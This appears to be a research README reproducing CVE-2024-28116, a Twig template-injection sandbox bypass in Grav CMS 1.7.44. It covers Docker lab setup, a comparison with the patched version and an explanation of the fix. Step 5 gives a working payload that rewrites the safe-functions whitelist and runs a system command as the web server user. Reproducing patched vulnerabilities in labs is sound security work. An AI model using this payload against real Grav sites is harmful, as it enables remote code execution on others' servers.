CVE-2024-28116 — SSTI with Sandbox Bypass in Grav CMS

Analysis and Docker reproduction of CVE-2024-28116, a Server-Side Template Injection vulnerability with security sandbox bypass in Grav CMS versions up to and including 1.7.44, fixed in version 1.7.45.

Reported by: Maurizio Siddu (akabe1)
CVSS v3.1 Score: 8.8 (High)
Patched in: Grav CMS 1.7.45

Repository Structure

• vulnerable
  • Dockerfile # Grav CMS 1.7.44 (vulnerable)
  • apache.conf # Apache configuration
• patched
  • Dockerfile # Grav CMS 1.7.45 (patched)
  • apache.conf # Apache configuration
• CVE-2024-28116_Report.pdf

Requirements

• Docker Desktop installed and running on macOS
• No other dependencies needed — everything is installed inside the container

How to Run the Vulnerable Environment (Grav 1.7.44)

cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

Open your browser at http://localhost:8080/admin and create an administrator account on first access.

How to Reproduce the Exploit

1. In the Admin Panel, create a second user account with editor permissions only (Login to Site, Login to Admin, and Pages set to Allowed — everything else Not set)
2. Open a private browser window and log in as the editor at http://localhost:8080/admin
3. Go to Pages → Add Page, set title to test page, click Continue
4. In the Advanced tab, enable Twig processing by checking both Markdown and Twig under Process
5. In the Content tab, paste the following payload:

{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}

6. Click Save
7. Open a regular browser tab and visit http://localhost:8080/test-page
8. The server will dump the full Grav configuration object and at the very bottom show: uid=33(www-data) gid=33(www-data) groups=33(www-data)

This confirms Remote Code Execution as the web server user.

How to Run the Patched Environment (Grav 1.7.45)

docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

Open your browser at http://localhost:8081/admin and repeat all the exploit steps above, targeting http://localhost:8081/test-page.

The page will be completely blank. The cleanDangerousTwig() method in Security.php detects and blocks the twig.safe_functions directive before it reaches the Twig engine. The whitelist is never modified and the command is never executed.

How the Vulnerability Works

The vulnerability is located in system/src/Grav/Common/Twig.php. Grav implements a sandbox to prevent dangerous PHP functions from being called inside Twig templates, based on a blacklist checked by isDangerousFunction(). However, the sandbox does not protect the Twig object itself. An editor-level user can interact with the Twig object through crafted template directives and overwrite the system.twig.safe_functions whitelist at runtime. Once a dangerous function such as system() is added to the whitelist, the sandbox check is bypassed and the function executes freely.

The Fix

The patch adds 'twig.safe_functions' to the list of blocked patterns inside the cleanDangerousTwig() method in system/src/Grav/Common/Security.php. Any directive containing this string is neutralised before reaching the Twig engine, making it impossible for an editor to modify the whitelist from within a template.